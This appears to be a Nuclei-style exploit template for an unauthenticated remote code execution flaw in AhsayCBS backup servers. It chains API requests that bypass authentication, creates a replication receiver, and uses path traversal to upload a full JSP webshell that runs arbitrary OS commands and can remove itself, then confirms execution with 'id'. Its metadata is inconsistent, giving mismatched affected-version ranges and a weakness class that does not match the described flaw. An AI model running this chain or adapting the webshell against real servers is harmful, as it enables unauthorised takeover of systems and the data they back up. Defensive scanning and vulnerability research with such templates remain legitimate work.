id: CVE-2026-105134 info: name: AhsayCBS <= 10.3.4 - Unauthenticated RCE author: 0x_Akoko severity: critical description: | Ahsay AhsayCBS <= 10.3.2 contains a command injection caused by manipulation of the \"random\" argument in /rps/api/json/UpdateReceivers.do of Replication Receiver, letting remote attackers execute OS commands, exploit requires crafted request impact: | Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise. remediation: | Upgrade to version 10.3.4. reference: - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/ - https://nvd.nist.gov/vuln/detail/CVE-2026-105134 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-105134 epss-score: 0.81763 epss-percentile: 0.99645 cwe-id: CWE-22 metadata: verified: true max-request: 5 vendor: ahsay product: ahsaycbs shodan-query: http.title:"/cbs/Logon.do" fofa-query: body="AhsayCBS" || body="/cbs/Logon.do" tags: cve,cve2026,ahsaycbs,rce,traversal,webshell,unauth,kev,intrusive,vkev variables: recv_user: "rps{{rand_text_alpha(8)}}" recv_pass: "{{rand_text_alpha(8)}}" recv_dir: "/usr/local/cbs/rpsrecv_{{rand_text_alpha(8)}}" shell_name: "neo{{rand_text_alpha(8)}}.jsp" shell_secret: "{{rand_text_alphanumeric(8)}}" flow: | if (http(1) && http(2) && http(3)) { if (http(4)) { http(5); } } http: - raw: - | POST /obs/api/json/ListSystemUsers.do HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"FromServlet":"Y","SysUser":"x","SysPwd":"x"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"Status\":\"OK\"")' condition: and internal: true - raw: - | POST /rps/api/json/ListReceiver.do HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"FromServlet":"Y","SysUser":"x","SysPwd":"x"} matchers: - type: dsl dsl: - 'status_code == 200' internal: true - raw: - | POST /rps/api/json/UpdateReceivers.do HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"FromServlet":"Y","SysUser":"x","SysPwd":"x","Id":0,"ReplicationEnabled":true,"LoginName":"{{recv_user}}","Password":"{{recv_pass}}","Alias":"sys","SystemHome":"{{recv_dir}}","ObsVersion":1,"RestorePointInterval":0,"RetentionCustomizationPolicy":0,"CrcEnabled":false,"CrcHour":0,"CrcMinute":0,"V6ReplicationEnabled":false,"MigrateFromV6":false,"ListenHost":"","ListenPort":0} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"Status\":\"OK\"")' condition: and internal: true - raw: - | PUT /rps/obs7/rpsfile/upload HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream X-RSW-Request-0: {{base64(recv_user)}} X-RSW-Request-1: {{base64(recv_pass)}} X-RSW-Request-2: {{base64("../../webapps/rps")}} X-RSW-Request-8: {{base64("0")}} X-RSW-Request-11: {{base64("../../webapps/rps")}} X-RSW-Request-12: {{base64("false")}} X-RSW-Request-13: {{base64("false")}} X-RSW-Request-14: {{base64("false")}} X-RSW-custom-encode-path: {{base64(shell_name)}} X-RSW-custom-encode-size: {{base64("1024")}} X-RSW-custom-encode-includeChecksum: {{base64("false")}} X-RSW-custom-encode-includeLastModified: {{base64("false")}} <%@ page import="java.io.*"%><%if(!"{{shell_secret}}".equals(request.getParameter("auth"))){response.sendError(404);return;}String c=request.getParameter("cmd");if(c!=null){boolean w=System.getProperty("os.name","").toLowerCase().contains("win");String[]cc=w?new String[]{"cmd.exe","/c",c}:new String[]{"/bin/sh","-c",c};Process p=Runtime.getRuntime().exec(cc);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("NEOOUT:");out.println(s.hasNext()?s.next():"");out.print(":NEOEND");}if("1".equals(request.getParameter("rm"))){try{new File(application.getRealPath(request.getServletPath())).delete();out.print("[self-removed]");}catch(Exception e){out.print("[rm-error]");}}%> matchers: - type: dsl dsl: - 'status_code == 200 || status_code == 201 || status_code == 204' internal: true - raw: - | GET /rps/{{shell_name}}?auth={{shell_secret}}&cmd=id HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'regex("uid=\\d+\\([^)]+\\)", body) || contains_any(tolower(body), "root", "system", "nt authority")' condition: and extractors: - type: regex group: 0 regex: - 'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)' # digest: 490a0046304402207f926cadbb8466fdd5ecf57479612c66cfa11bd4f1fd632298f11400ec1c1a8a02203de50799ddf96afc564af6cb50c08d994bff8e0b6292064416fb40ba0de40380:922c64590222798bb761d5b6d8e72950